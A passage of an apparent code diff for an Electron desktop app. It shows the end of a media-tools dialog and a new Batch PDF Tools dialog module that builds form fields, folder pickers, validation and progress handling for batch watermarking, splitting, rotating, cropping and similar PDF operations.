      ipcRenderer.send('select-folder', pickType);
    },
  });
 }
 function renderCheckboxField(field) {
  const wrapper = document.createElement('div');
  wrapper.className = 'export-section';
  const label = document.createElement('label');
  label.setAttribute('for', fieldElId(field.name));
  const input = document.createElement('input');
  input.type = 'checkbox';
  input.id = fieldElId(field.name);
  input.checked = field.default !== false;
  input.style.marginRight = '0.5em';
  label.appendChild(input);
  label.appendChild(document.createTextNode(field.label));
  wrapper.appendChild(label);
  return wrapper;
 }
 function renderNumberField(field) {
  const wrapper = document.createElement('div');
  wrapper.className = 'export-section';
  const label = document.createElement('label');
  label.setAttribute('for', fieldElId(field.name));
  label.textContent = `${field.label}:`;
  wrapper.appendChild(label);
  const input = document.createElement('input');
  input.type = 'number';
  input.id = fieldElId(field.name);
  if (field.min !== undefined) input.min = field.min;
  if (field.max !== undefined) input.max = field.max;
  if (field.step !== undefined) input.step = field.step;
  if (field.default !== undefined) input.value = field.default;
  wrapper.appendChild(input);
  return wrapper;
 }
 function renderSelectField(field) {
  const wrapper = document.createElement('div');
  wrapper.className = 'export-section';
  const label = document.createElement('label');
  label.setAttribute('for', fieldElId(field.name));
  label.textContent = `${field.label}:`;
  wrapper.appendChild(label);
  const select = document.createElement('select');
  select.id = fieldElId(field.name);
  field.options.forEach((opt) => {
    const option = document.createElement('option');
    option.value = opt;
    option.textContent = opt;
    if (opt === field.default) option.selected = true;
    select.appendChild(option);
  });
  wrapper.appendChild(select);
  return wrapper;
 }
 function updateMergeFilesList(listContainer) {
  listContainer.innerHTML = '';
  mergeFilePaths.forEach((filePath, index) => {
    const fileEntry = document.createElement('div');
    fileEntry.className = 'file-entry';
    const name = document.createElement('span');
    name.className = 'file-name';
    name.textContent = filePath.split(/[\\/]/).pop();
    const removeBtn = document.createElement('button');
    removeBtn.className = 'remove-file';
    removeBtn.type = 'button';
    removeBtn.textContent = 'Remove';
    removeBtn.addEventListener('click', () => {
      mergeFilePaths.splice(index, 1);
      updateMergeFilesList(listContainer);
    });
    fileEntry.appendChild(name);
    fileEntry.appendChild(removeBtn);
    listContainer.appendChild(fileEntry);
  });
 }
 function renderFilesField(field) {
  mergeFilePaths = [];
  const wrapper = document.createElement('div');
  wrapper.className = 'export-section';
  const label = document.createElement('label');
  label.textContent = `${field.label}:`;
  wrapper.appendChild(label);
  const listContainer = document.createElement('div');
  listContainer.className = 'file-list';
  listContainer.id = fieldElId(field.name);
  wrapper.appendChild(listContainer);
  const addBtn = document.createElement('button');
  addBtn.type = 'button';
  addBtn.textContent = '+ Add File';
  addBtn.addEventListener('click', () => {
    const fileInput = document.createElement('input');
    fileInput.type = 'file';
    fileInput.accept = field.accept || '*';
    fileInput.multiple = true;
    fileInput.onchange = (e) => {
      Array.from(e.target.files).forEach((file) => {
        const filePath = getFilePath(file);
        if (!mergeFilePaths.includes(filePath)) {
          mergeFilePaths.push(filePath);
        }
      });
      updateMergeFilesList(listContainer);
    };
    fileInput.click();
  });
  wrapper.appendChild(addBtn);
  return wrapper;
 }
 // The field carrying the input-file picker for a batchable operation is always a
 // 'file' field (single input) — 'files' (merge) operations are excluded from batch
 // mode via `batchable: false` before this is ever consulted.
 function getInputFileField(opConfig) {
  return opConfig.fields.find((field) => field.type === 'file');
 }
 function isBatchable(opConfig) {
  return opConfig.batchable !== false;
 }
 // Keep the Mode dropdown in sync with whether the currently selected operation
 // supports batch mode (everything except audio "Merge").
 function updateModeOptions() {
  const kindConfig = MEDIA_KIND_CONFIG[currentKind];
  const opConfig = kindConfig.operations[els.operationSelect.value];
  const batchOption = els.modeSelect.querySelector('option[value="batch"]');
  if (batchOption) {
    batchOption.disabled = !isBatchable(opConfig);
  }
  if (!isBatchable(opConfig)) {
    currentMode = 'single';
  }
  els.modeSelect.value = currentMode;
 }
 function renderSingleFields(opConfig) {
  opConfig.fields.forEach((field) => {
    let fieldEl;
    switch (field.type) {
      case 'file':
        fieldEl = renderFileField(field);
        break;
      case 'save':
        fieldEl = renderSaveField(field);
        break;
      case 'folder':
        fieldEl = renderFolderField(field);
        break;
      case 'number':
        fieldEl = renderNumberField(field);
        break;
      case 'select':
        fieldEl = renderSelectField(field);
        break;
      case 'files':
        fieldEl = renderFilesField(field);
        break;
      default:
        return;
    }
    els.fieldsContainer.appendChild(fieldEl);
  });
 }
 // Batch mode swaps the single input/output file (or folder) fields for one
 // "Input Folder" + "Include Subfolders" + "Output Folder" trio, while keeping every
 // other parameter field (width/height/quality/angle/startTime/duration/crf/fps/
 // format/fit/...) exactly as in single mode — those values apply to every matching
 // file. The actual per-file output path/dir is computed by main.js's
 // runMediaBatchOperation()/BATCH_OUTPUT_SPEC.
 function renderBatchFields(opConfig) {
  els.fieldsContainer.appendChild(
    renderFolderField(
      { name: BATCH_INPUT_FIELD_NAME, label: 'Input Folder', type: 'folder' },
      BATCH_INPUT_FOLDER_PICK_TYPE
    )
  );
  els.fieldsContainer.appendChild(
    renderCheckboxField({
      name: BATCH_SUBFOLDERS_FIELD_NAME,
      label: 'Include subfolders',
      default: true,
    })
  );
  opConfig.fields.forEach((field) => {
    if (field.type === 'number') {
      els.fieldsContainer.appendChild(renderNumberField(field));
    } else if (field.type === 'select') {
      els.fieldsContainer.appendChild(renderSelectField(field));
    }
    // 'file' / 'save' / 'folder' single-file fields are intentionally skipped —
    // replaced by the Input/Output Folder fields below/above.
  });
  els.fieldsContainer.appendChild(
    renderFolderField(
      { name: BATCH_OUTPUT_FIELD_NAME, label: 'Output Folder', type: 'folder' },
      BATCH_OUTPUT_FOLDER_PICK_TYPE
    )
  );
 }
 function renderFields() {
  const kindConfig = MEDIA_KIND_CONFIG[currentKind];
  const opKey = els.operationSelect.value;
  const opConfig = kindConfig.operations[opKey];
  updateModeOptions();
  els.fieldsContainer.innerHTML = '';
  if (opConfig.help) {
    els.help.textContent = opConfig.help;
    els.help.classList.remove('hidden');
  } else {
    els.help.textContent = '';
    els.help.classList.add('hidden');
  }
  if (currentMode === 'batch') {
    renderBatchFields(opConfig);
  } else {
    renderSingleFields(opConfig);
  }
 }
 function collectOperationData(opConfig) {
  const data = {};
  for (const field of opConfig.fields) {
    if (field.type === 'files') {
      data[field.name] = [...mergeFilePaths];
      continue;
    }
    const input = document.getElementById(fieldElId(field.name));
    if (!input) continue;
    if (field.type === 'number') {
      const raw = String(input.value).trim();
      if (raw === '') {
        if (field.optional) {
          data[field.name] = null;
          continue;
        }
        return { error: `${field.label} is required.` };
      }
      const num = Number(raw);
      if (!Number.isFinite(num)) {
        return { error: `${field.label} must be a valid number.` };
      }
      data[field.name] = num;
    } else {
      data[field.name] = input.value;
    }
  }
  if ('inputPath' in data && !data.inputPath) {
    return { error: 'Select an input file.' };
  }
  if ('inputPaths' in data && (!data.inputPaths || data.inputPaths.length < 2)) {
    return { error: 'Select at least 2 input files.' };
  }
  if ('outputPath' in data && !data.outputPath) {
    return { error: 'Select an output file.' };
  }
  if ('outputDir' in data && !data.outputDir) {
    return { error: 'Select an output folder.' };
  }
  if ('width' in data && 'height' in data && data.width === null && data.height === null) {
    return { error: 'Provide at least one of Width or Height.' };
  }
  return { data };
 }
 async function handleSingleProcess(kindConfig, opKey, opConfig) {
  const { data, error } = collectOperationData(opConfig);
  if (error) {
    showStatus(error, 'warning');
    return;
  }
  clearStatus();
  showProgress();
  try {
    const result = await ipcRenderer.invoke(kindConfig.channel, { operation: opKey, data });
    hideProgress();
    if (result && result.success) {
      showStatus(
        `Success: ${result.outputPath || result.outputDir || 'Operation completed.'}`,
        'success'
      );
    } else {
      showStatus(`Error: ${(result && result.error) || 'Operation failed.'}`, 'warning');
    }
  } catch (err) {
    hideProgress();
    showStatus(`Error: ${err.message}`, 'warning');
  }
 }
 // Collects the shared parameter fields (number/select only — no file/folder/files
 // fields) that apply identically to every file in a batch run.
 function collectBatchParamData(opConfig) {
  const data = {};
  for (const field of opConfig.fields) {
    if (field.type !== 'number' && field.type !== 'select') continue;
    const input = document.getElementById(fieldElId(field.name));
    if (!input) continue;
    if (field.type === 'number') {
      const raw = String(input.value).trim();
      if (raw === '') {
        if (field.optional) {
          data[field.name] = null;
          continue;
        }
        return { error: `${field.label} is required.` };
      }
      const num = Number(raw);
      if (!Number.isFinite(num)) {
        return { error: `${field.label} must be a valid number.` };
      }
      data[field.name] = num;
    } else {
      data[field.name] = input.value;
    }
  }
  if ('width' in data && 'height' in data && data.width === null && data.height === null) {
    return { error: 'Provide at least one of Width or Height.' };
  }
  return { data };
 }
 function handleBatchProcess(kindConfig, opKey, opConfig) {
  const inputFolder = document.getElementById(fieldElId(BATCH_INPUT_FIELD_NAME))?.value;
  const outputFolder = document.getElementById(fieldElId(BATCH_OUTPUT_FIELD_NAME))?.value;
  const includeSubfolders =
    document.getElementById(fieldElId(BATCH_SUBFOLDERS_FIELD_NAME))?.checked !== false;
  if (!inputFolder) {
    showStatus('Select an input folder.', 'warning');
    return;
  }
  if (!outputFolder) {
    showStatus('Select an output folder.', 'warning');
    return;
  }
  const { data, error } = collectBatchParamData(opConfig);
  if (error) {
    showStatus(error, 'warning');
    return;
  }
  const inputField = getInputFileField(opConfig);
  const extensions = (inputField?.accept || '').split(',').filter(Boolean);
  if (extensions.length === 0) {
    showStatus('This operation does not support batch mode.', 'warning');
    return;
  }
  clearStatus();
  showProgress();
  els.progressText.textContent = 'Scanning folder...';
  ipcRenderer.send(kindConfig.batchChannel, {
    operation: opKey,
    inputFolder,
    outputFolder,
    includeSubfolders,
    extensions,
    data,
  });
 }
 async function handleProcess() {
  const kindConfig = MEDIA_KIND_CONFIG[currentKind];
  const opKey = els.operationSelect.value;
  const opConfig = kindConfig.operations[opKey];
  if (currentMode === 'batch' && isBatchable(opConfig)) {
    handleBatchProcess(kindConfig, opKey, opConfig);
  } else {
    await handleSingleProcess(kindConfig, opKey, opConfig);
  }
 }
 function hideDialog() {
  if (modalManager) modalManager.close();
  clearStatus();
  hideProgress();
 }
 function showMediaOperationsDialog(kind) {
  if (!MEDIA_KIND_CONFIG[kind]) {
    throw new Error(`Unknown media kind: ${kind}`);
  }
  ensureDialog();
  currentKind = kind;
  currentMode = 'single';
  const kindConfig = MEDIA_KIND_CONFIG[kind];
  els.title.textContent = kindConfig.title;
  els.operationSelect.innerHTML = '';
  Object.entries(kindConfig.operations).forEach(([key, op]) => {
    const option = document.createElement('option');
    option.value = key;
    option.textContent = op.label;
    els.operationSelect.appendChild(option);
  });
  clearStatus();
  hideProgress();
  renderFields();
  modalManager.open();
 }
 module.exports = { showMediaOperationsDialog };
@@ -0,0 +1,715 @@
 /**
 * PDF Batch Dialog
 *
 * Batch wrapper for the single-file PDF operations (Tasks 15-16 backend via
 * PDFOperations.executeOperation): pick one operation (watermark, compress,
 * rotate, split, ...) plus that operation's shared option fields — the same
 * fields and option shapes the single-file PDF editor dialog in
 * renderer.js/index.html already sends — and apply it to every .pdf in an
 * input folder. Mirrors the batch-folder construction pattern of the Image/
 * Audio/Video Tools dialog (src/renderer/media-operations-dialog.js, Task 12):
 * a `.modal`-based dialog driven by ModalManager, folder pickers via the
 * existing generic `select-folder` / `folder-selected` IPC channels filtered by
 * a unique `type` per picker, and Process firing a fire-and-forget
 * `batch-pdf-operation` whose progress/completion arrive via `batch-progress`
 * / `pdf-batch-complete` events sent by the `batch-pdf-operation` handler in
 * main.js (which delegates to src/main/PDFBatchOperations.js).
 *
 * The dialog is reached from the Tools > Batch PDF Conversion... menu item
 * (`show-batch-converter` with type 'pdf'). Its top selector keeps that menu
 * item's existing behavior as the default: "Convert Format" delegates to the
 * pre-existing universal-converter batch flow via the `onConvertFormat`
 * callback renderer.js passes in; "Bulk PDF Operation" reveals this dialog's
 * per-file operation controls.
 *
 * Only per-file, non-interactive operations are offered (see
 * PDF_BATCH_OUTPUT_SPEC in src/main/PDFBatchOperations.js for the exclusions —
 * the renderer list and that spec intentionally agree).
 *
 * @module pdf-batch-dialog
 */
 const { ipcRenderer } = require('electron');
 // Field names are chosen to exactly match the `data` shape each backend
 // operation destructures — see src/main/PDFOperations.js — mirroring the
 // single-file PDF editor dialog's collection code in renderer.js. Defaults and
 // option lists mirror the corresponding index.html sections.
 const BATCH_OPERATIONS = {
  watermark: {
    label: 'Add Watermark',
    fields: [
      { name: 'text', label: 'Watermark Text', type: 'text' },
      {
        name: 'pages',
        label: 'Apply to',
        type: 'select',
        options: [
          { value: 'all', label: 'All Pages' },
          { value: 'custom', label: 'Custom Pages' },
        ],
        default: 'all',
      },
      {
        name: 'customPages',
        label: 'Custom Pages (e.g. 1-5, 7)',
        type: 'text',
        showIf: { field: 'pages', equals: 'custom' },
      },
      {
        name: 'position',
        label: 'Position',
        type: 'select',
        options: [
          'center',
          'diagonal',
          'top-left',
          'top-center',
          'top-right',
          'bottom-left',
          'bottom-center',
          'bottom-right',
        ],
        default: 'center',
      },
      { name: 'fontSize', label: 'Font Size', type: 'number', min: 8, max: 144, default: 48 },
      // 0-100 in the UI; divided by 100 before sending, like the single-file dialog.
      { name: 'opacity', label: 'Opacity (0-100)', type: 'number', min: 0, max: 100, default: 30 },
      { name: 'color', label: 'Color', type: 'color', default: '#000000' },
    ],
  },
  split: {
    label: 'Split',
    fields: [
      {
        name: 'splitMode',
        label: 'Split Mode',
        type: 'select',
        options: [
          { value: 'pages', label: 'By Page Range' },
          { value: 'interval', label: 'Every N Pages' },
          { value: 'size', label: 'By File Size' },
        ],
        default: 'pages',
      },
      {
        name: 'pageRanges',
        label: 'Page Ranges (e.g. 1-5, 6-10)',
        type: 'text',
        showIf: { field: 'splitMode', equals: 'pages' },
      },
      {
        name: 'interval',
        label: 'Pages per Split File',
        type: 'number',
        min: 1,
        default: 5,
        showIf: { field: 'splitMode', equals: 'interval' },
      },
    ],
  },
  compress: { label: 'Compress', fields: [] },
  rotate: {
    label: 'Rotate',
    fields: [
      {
        name: 'angle',
        label: 'Rotation Angle',
        type: 'select',
        options: [
          { value: '90', label: '90° Clockwise' },
          { value: '180', label: '180°' },
          { value: '270', label: '270° Clockwise (90° Counter-clockwise)' },
        ],
        default: '90',
      },
      { name: 'pages', label: 'Pages (e.g. 1-3, 5; empty = all)', type: 'text', optional: true },
    ],
  },
  delete: {
    label: 'Delete Pages',
    fields: [{ name: 'pages', label: 'Pages to Delete (e.g. 1-3, 5)', type: 'text' }],
  },
  extractText: { label: 'Extract Text', fields: [] },
  pageNumbers: {
    label: 'Add Page Numbers',
    fields: [
      {
        name: 'position',
        label: 'Position',
        type: 'select',
        options: [
          'bottom-center',
          'bottom-left',
          'bottom-right',
          'top-center',
          'top-left',
          'top-right',
        ],
        default: 'bottom-center',
      },
      { name: 'startNumber', label: 'Start Number', type: 'number', min: 1, default: 1 },
    ],
  },
  crop: {
    label: 'Crop Margins',
    fields: [
      { name: 'margins.top', label: 'Top Margin', type: 'number', min: 0, default: 0, float: true },
      {
        name: 'margins.bottom',
        label: 'Bottom Margin',
        type: 'number',
        min: 0,
        default: 0,
        float: true,
      },
      {
        name: 'margins.left',
        label: 'Left Margin',
        type: 'number',
        min: 0,
        default: 0,
        float: true,
      },
      {
        name: 'margins.right',
        label: 'Right Margin',
        type: 'number',
        min: 0,
        default: 0,
        float: true,
      },
    ],
  },
  extractImages: { label: 'Extract Images', fields: [] },
 };
 const INPUT_FOLDER_FIELD = { name: 'inputFolder', label: 'Input Folder' };
 const OUTPUT_FOLDER_FIELD = { name: 'outputFolder', label: 'Output Folder' };
 const SUBFOLDERS_FIELD = { name: 'includeSubfolders', label: 'Include subfolders' };
 const INPUT_FOLDER_PICK_TYPE = 'pdf-batch-input-dir';
 const OUTPUT_FOLDER_PICK_TYPE = 'pdf-batch-output-dir';
 let modalEl = null;
 let modalManager = null;
 let els = null;
 let onConvertFormatCallback = null;
 // True between sending a batch-pdf-operation and its pdf-batch-complete; guards
 // against firing a second overlapping run (the Process button is also disabled,
 // but the batch-type switch re-labels it, so the flag is the real guard).
 let runInFlight = false;
 function fieldElId(name) {
  return `pdf-batch-field-${name}`;
 }
 function buildDialogDom() {
  modalEl = document.createElement('div');
  modalEl.id = 'pdf-batch-dialog';
  modalEl.className = 'modal hidden';
  modalEl.setAttribute('role', 'dialog');
  modalEl.setAttribute('aria-modal', 'true');
  modalEl.setAttribute('aria-labelledby', 'pdf-batch-title');
  modalEl.innerHTML = `
    <div class="modal-backdrop" data-close></div>
    <div class="modal-content large">
      <div class="modal-header">
        <h3 id="pdf-batch-title">Batch PDF Tools</h3>
        <button class="modal-close" id="pdf-batch-close" aria-label="Close">&times;</button>
      </div>
      <div class="modal-body">
        <div class="export-section">
          <label for="pdf-batch-type">Batch Type:</label>
          <select id="pdf-batch-type">
            <option value="convert">Convert Format (existing batch converter)</option>
            <option value="operation">Bulk PDF Operation</option>
          </select>
        </div>
        <small id="pdf-batch-convert-hint">
          Format conversion (PDF to DOCX/HTML/...) uses the existing batch converter.
          Choose "Bulk PDF Operation" to watermark, compress, or otherwise process many PDFs at once.
        </small>
        <div id="pdf-batch-operation-panel" class="hidden">
          <div class="export-section">
            <label for="pdf-batch-operation">Operation:</label>
            <select id="pdf-batch-operation"></select>
          </div>
          <div id="pdf-batch-operation-fields"></div>
        </div>
        <div id="pdf-batch-status" class="info-message hidden" aria-live="polite"></div>
        <div id="pdf-batch-progress" class="batch-progress hidden">
          <div class="progress-bar">
            <div class="progress-fill" id="pdf-batch-progress-fill"></div>
          </div>
          <div class="progress-text">
            <span id="pdf-batch-progress-text">Processing...</span>
          </div>
        </div>
      </div>
      <div class="modal-footer">
        <button id="pdf-batch-cancel" class="btn btn-secondary" data-close>Cancel</button>
        <button id="pdf-batch-process" class="btn btn-primary">Open Batch Converter...</button>
      </div>
    </div>
  `;
  document.body.appendChild(modalEl);
  els = {
    typeSelect: modalEl.querySelector('#pdf-batch-type'),
    convertHint: modalEl.querySelector('#pdf-batch-convert-hint'),
    operationPanel: modalEl.querySelector('#pdf-batch-operation-panel'),
    operationSelect: modalEl.querySelector('#pdf-batch-operation'),
    fieldsContainer: modalEl.querySelector('#pdf-batch-operation-fields'),
    status: modalEl.querySelector('#pdf-batch-status'),
    progress: modalEl.querySelector('#pdf-batch-progress'),
    progressFill: modalEl.querySelector('#pdf-batch-progress-fill'),
    progressText: modalEl.querySelector('#pdf-batch-progress-text'),
    processBtn: modalEl.querySelector('#pdf-batch-process'),
  };
  els.typeSelect.addEventListener('change', updateBatchTypeUI);
  els.operationSelect.addEventListener('change', renderOperationFields);
  els.processBtn.addEventListener('click', handleProcess);
  modalEl.querySelector('#pdf-batch-cancel').addEventListener('click', hideDialog);
  modalManager = new window.ModalManager(modalEl);
  // Generic output-folder picker reply (shared with the batch converter's
  // input/output folder pickers) — filter by our own `type` so we only react
  // to requests this dialog made.
  ipcRenderer.on('folder-selected', (event, { type, path: folderPath }) => {
    if (!folderPath) return;
    const fieldName =
      type === INPUT_FOLDER_PICK_TYPE
        ? INPUT_FOLDER_FIELD.name
        : type === OUTPUT_FOLDER_PICK_TYPE
          ? OUTPUT_FOLDER_FIELD.name
          : null;
    if (!fieldName) return;
    const input = document.getElementById(fieldElId(fieldName));
    if (input) input.value = folderPath;
  });
  // Batch operation progress/completion (main.js: batch-pdf-operation handler,
  // delegating to runPDFBatchOperation() in src/main/PDFBatchOperations.js).
  ipcRenderer.on('batch-progress', (event, { completed, failed, total, currentFile }) => {
    if (!els.progress || els.progress.classList.contains('hidden')) return;
    const pct = total > 0 ? Math.round((completed / total) * 100) : 0;
    els.progressFill.style.width = `${pct}%`;
    els.progressText.textContent = currentFile
      ? `Processing ${completed + 1}/${total}: ${currentFile}${failed ? ` (${failed} failed so far)` : ''}`
      : `Processed ${completed}/${total}${failed ? ` (${failed} failed)` : ''}`;
  });
  ipcRenderer.on('pdf-batch-complete', (event, { success, completed, failed, total, error }) => {
    runInFlight = false;
    hideProgress();
    if (success) {
      showStatus(
        `Batch complete: ${completed}/${total} file(s) processed${failed ? ` (${failed} failed)` : ''}.`,
        failed > 0 ? 'warning' : 'success'
      );
    } else {
      showStatus(`Error: ${error || 'Batch operation failed.'}`, 'warning');
    }
  });
 }
 function ensureDialog() {
  if (!modalEl) {
    buildDialogDom();
  }
 }
 function clearStatus() {
  els.status.textContent = '';
  els.status.classList.remove('info-message', 'warning-message', 'success-message');
  els.status.classList.add('hidden');
 }
 function showStatus(message, type = 'info') {
  els.status.textContent = message;
  els.status.classList.remove('hidden', 'info-message', 'warning-message', 'success-message');
  els.status.classList.add(`${type}-message`);
 }
 function showProgress() {
  els.progress.classList.remove('hidden');
  els.progressText.textContent = 'Scanning folder...';
  els.progressFill.style.width = '0%';
  els.processBtn.disabled = true;
 }
 function hideProgress() {
  els.progress.classList.add('hidden');
  els.progressFill.style.width = '0%';
  els.processBtn.disabled = false;
 }
 function optionValue(option) {
  return typeof option === 'string' ? option : option.value;
 }
 function optionLabel(option) {
  return typeof option === 'string' ? option : option.label;
 }
 function createLabeledWrapper(field) {
  const wrapper = document.createElement('div');
  wrapper.className = 'export-section';
  wrapper.id = `${fieldElId(field.name)}-wrapper`;
  const label = document.createElement('label');
  label.setAttribute('for', fieldElId(field.name));
  label.textContent = `${field.label}:`;
  wrapper.appendChild(label);
  return wrapper;
 }
 function renderTextField(field) {
  const wrapper = createLabeledWrapper(field);
  const input = document.createElement('input');
  input.type = 'text';
  input.id = fieldElId(field.name);
  input.placeholder = field.placeholder || '';
  wrapper.appendChild(input);
  return wrapper;
 }
 function renderNumberField(field) {
  const wrapper = createLabeledWrapper(field);
  const input = document.createElement('input');
  input.type = 'number';
  input.id = fieldElId(field.name);
  if (field.min !== undefined) input.min = field.min;
  if (field.max !== undefined) input.max = field.max;
  if (field.default !== undefined) input.value = field.default;
  wrapper.appendChild(input);
  return wrapper;
 }
 function renderSelectField(field) {
  const wrapper = createLabeledWrapper(field);
  const select = document.createElement('select');
  select.id = fieldElId(field.name);
  field.options.forEach((opt) => {
    const option = document.createElement('option');
    option.value = optionValue(opt);
    option.textContent = optionLabel(opt);
    if (optionValue(opt) === field.default) option.selected = true;
    select.appendChild(option);
  });
  // Attached to the select itself (not via a bubbling container listener) so
  // conditional fields update regardless of how the change event was fired.
  select.addEventListener('change', updateConditionalFields);
  wrapper.appendChild(select);
  return wrapper;
 }
 function renderColorField(field) {
  const wrapper = createLabeledWrapper(field);
  const input = document.createElement('input');
  input.type = 'color';
  input.id = fieldElId(field.name);
  input.value = field.default || '#000000';
  wrapper.appendChild(input);
  return wrapper;
 }
 function createFolderPickerField(field, pickType) {
  const wrapper = createLabeledWrapper(field);
  const group = document.createElement('div');
  group.className = 'folder-input-group';
  const input = document.createElement('input');
  input.type = 'text';
  input.id = fieldElId(field.name);
  input.placeholder = 'Choose...';
  input.readOnly = true;
  group.appendChild(input);
  const browseBtn = document.createElement('button');
  browseBtn.type = 'button';
  browseBtn.textContent = 'Browse Folder';
  browseBtn.addEventListener('click', () => {
    ipcRenderer.send('select-folder', pickType);
  });
  group.appendChild(browseBtn);
  wrapper.appendChild(group);
  return wrapper;
 }
 function renderCheckboxField(field) {
  const wrapper = document.createElement('div');
  wrapper.className = 'export-section';
  wrapper.id = `${fieldElId(field.name)}-wrapper`;
  const label = document.createElement('label');
  label.setAttribute('for', fieldElId(field.name));
  const input = document.createElement('input');
  input.type = 'checkbox';
  input.id = fieldElId(field.name);
  input.checked = true;
  input.style.marginRight = '0.5em';
  label.appendChild(input);
  label.appendChild(document.createTextNode(field.label));
  wrapper.appendChild(label);
  return wrapper;
 }
 function fieldIsVisible(field, values) {
  if (!field.showIf) return true;
  return values[field.showIf.field] === field.showIf.equals;
 }
 // Toggles the hidden class of conditionally-shown fields (watermark custom
 // pages, split ranges/interval) based on the current select values.
 function updateConditionalFields() {
  const opConfig = BATCH_OPERATIONS[els.operationSelect.value];
  if (!opConfig) return;
  const values = {};
  opConfig.fields.forEach((field) => {
    const input = document.getElementById(fieldElId(field.name));
    if (input) values[field.name] = input.value;
  });
  opConfig.fields.forEach((field) => {
    if (!field.showIf) return;
    const wrapper = document.getElementById(`${fieldElId(field.name)}-wrapper`);
    if (wrapper) wrapper.classList.toggle('hidden', !fieldIsVisible(field, values));
  });
 }
 function renderOperationFields() {
  const opConfig = BATCH_OPERATIONS[els.operationSelect.value];
  els.fieldsContainer.innerHTML = '';
  els.fieldsContainer.appendChild(
    createFolderPickerField(INPUT_FOLDER_FIELD, INPUT_FOLDER_PICK_TYPE)
  );
  els.fieldsContainer.appendChild(renderCheckboxField(SUBFOLDERS_FIELD));
  opConfig.fields.forEach((field) => {
    let fieldEl;
    switch (field.type) {
      case 'text':
        fieldEl = renderTextField(field);
        break;
      case 'number':
        fieldEl = renderNumberField(field);
        break;
      case 'select':
        fieldEl = renderSelectField(field);
        break;
      case 'color':
        fieldEl = renderColorField(field);
        break;
      default:
        return;
    }
    els.fieldsContainer.appendChild(fieldEl);
  });
  els.fieldsContainer.appendChild(
    createFolderPickerField(OUTPUT_FOLDER_FIELD, OUTPUT_FOLDER_PICK_TYPE)
  );
  updateConditionalFields();
 }
 function updateBatchTypeUI() {
  const isConvert = els.typeSelect.value === 'convert';
  els.convertHint.classList.toggle('hidden', !isConvert);
  els.operationPanel.classList.toggle('hidden', isConvert);
  els.processBtn.textContent = isConvert ? 'Open Batch Converter...' : 'Process';
  // Progress state is left alone here: clearing it mid-run would re-enable the
  // Process button while a batch is still in flight (runInFlight guards that).
  clearStatus();
 }
 // Reads the shared option fields into the exact `data` shape the backend
 // operation destructures, dropping conditionally-hidden fields and applying
 // per-op conversions (opacity /100, margins grouping) exactly like the
 // single-file PDF editor dialog does.
 function collectOperationData(opKey) {
  const opConfig = BATCH_OPERATIONS[opKey];
  const raw = {};
  for (const field of opConfig.fields) {
    const input = document.getElementById(fieldElId(field.name));
    if (!input) continue;
    if (field.type === 'number') {
      const num = field.float ? parseFloat(input.value) : parseInt(input.value, 10);
      raw[field.name] = Number.isFinite(num) ? num : null;
    } else {
      raw[field.name] = input.value.trim();
    }
  }
  const visible = (name) =>
    fieldIsVisible(
      opConfig.fields.find((f) => f.name === name),
      raw
    );
  let data;
  switch (opKey) {
    case 'watermark':
      data = {
        text: raw.text,
        fontSize: raw.fontSize,
        opacity: raw.opacity !== null ? raw.opacity / 100 : null,
        position: raw.position,
        color: raw.color,
        pages: raw.pages,
      };
      if (raw.pages === 'custom' && visible('customPages')) {
        data.customPages = raw.customPages;
      }
      break;
    case 'split':
      data = { splitMode: raw.splitMode };
      if (raw.splitMode === 'pages' && visible('pageRanges')) data.pageRanges = raw.pageRanges;
      if (raw.splitMode === 'interval' && visible('interval')) data.interval = raw.interval;
      break;
    case 'rotate':
      data = { angle: parseInt(raw.angle, 10), pages: raw.pages };
      break;
    case 'delete':
      data = { pages: raw.pages };
      break;
    case 'pageNumbers':
      data = { position: raw.position, startNumber: raw.startNumber };
      break;
    case 'crop':
      data = {
        margins: {
          top: raw['margins.top'],
          bottom: raw['margins.bottom'],
          left: raw['margins.left'],
          right: raw['margins.right'],
        },
      };
      break;
    default:
      data = {};
  }
  return { data };
 }
 // Per-operation required-field checks, mirroring the single-file dialog's
 // validation messages.
 function validateOperationData(opKey, data) {
  switch (opKey) {
    case 'watermark':
      if (!data.text) return 'Enter watermark text.';
      if (!data.fontSize) return 'Enter a font size.';
      if (data.pages === 'custom' && !data.customPages) {
        return 'Enter the custom pages to watermark.';
      }
      return null;
    case 'split':
      if (data.splitMode === 'pages' && !data.pageRanges) {
        return 'Enter page ranges (e.g. 1-5, 6-10).';
      }
      if (data.splitMode === 'interval' && !data.interval) {
        return 'Enter the number of pages per split file.';
      }
      return null;
    case 'delete':
      if (!data.pages) return 'Enter the pages to delete (e.g. 1-3, 5).';
      return null;
    default:
      return null;
  }
 }
 function handleConvertProcess() {
  hideDialog();
  if (typeof onConvertFormatCallback === 'function') {
    onConvertFormatCallback();
  }
 }
 function handleBulkProcess() {
  if (runInFlight) return;
  const inputFolder = document.getElementById(fieldElId(INPUT_FOLDER_FIELD.name))?.value;
  const outputFolder = document.getElementById(fieldElId(OUTPUT_FOLDER_FIELD.name))?.value;
  const includeSubfolders =
    document.getElementById(fieldElId(SUBFOLDERS_FIELD.name))?.checked !== false;
  if (!inputFolder) {
    showStatus('Select an input folder.', 'warning');
    return;
  }
  if (!outputFolder) {
    showStatus('Select an output folder.', 'warning');
    return;
  }
  const opKey = els.operationSelect.value;
  const { data } = collectOperationData(opKey);
  const error = validateOperationData(opKey, data);
  if (error) {
    showStatus(error, 'warning');
    return;
  }
  clearStatus();
  showProgress();
  runInFlight = true;
  ipcRenderer.send('batch-pdf-operation', {
    operation: opKey,
    inputFolder,
    outputFolder,
    includeSubfolders,
    data,
  });
 }
 function handleProcess() {
  if (els.typeSelect.value === 'convert') {
    handleConvertProcess();
  } else {
    handleBulkProcess();
  }
 }
 function hideDialog() {
  if (modalManager) modalManager.close();
  clearStatus();
  hideProgress();
 }
 /**
 * Opens the Batch PDF Tools dialog.
 *
 * @param {object} [options]
 * @param {Function} [options.onConvertFormat] - Invoked when the user keeps the
 *   default "Convert Format" batch type; renderer.js passes the pre-existing
 *   universal-converter batch flow that the Tools > Batch PDF Conversion...
 *   menu item used to open directly.
 */
 function showPdfBatchDialog(options = {}) {
  ensureDialog();
  onConvertFormatCallback = options.onConvertFormat || null;
  els.operationSelect.innerHTML = '';
  Object.entries(BATCH_OPERATIONS).forEach(([key, op]) => {
    const option = document.createElement('option');
    option.value = key;
    option.textContent = op.label;
    els.operationSelect.appendChild(option);
  });
  els.typeSelect.value = 'convert';
  runInFlight = false;
  clearStatus();
  hideProgress();
  updateBatchTypeUI();
  renderOperationFields();
  modalManager.open();
 }
 module.exports = { showPdfBatchDialog, BATCH_OPERATIONS };
@@ -1,11 +1,42 @@
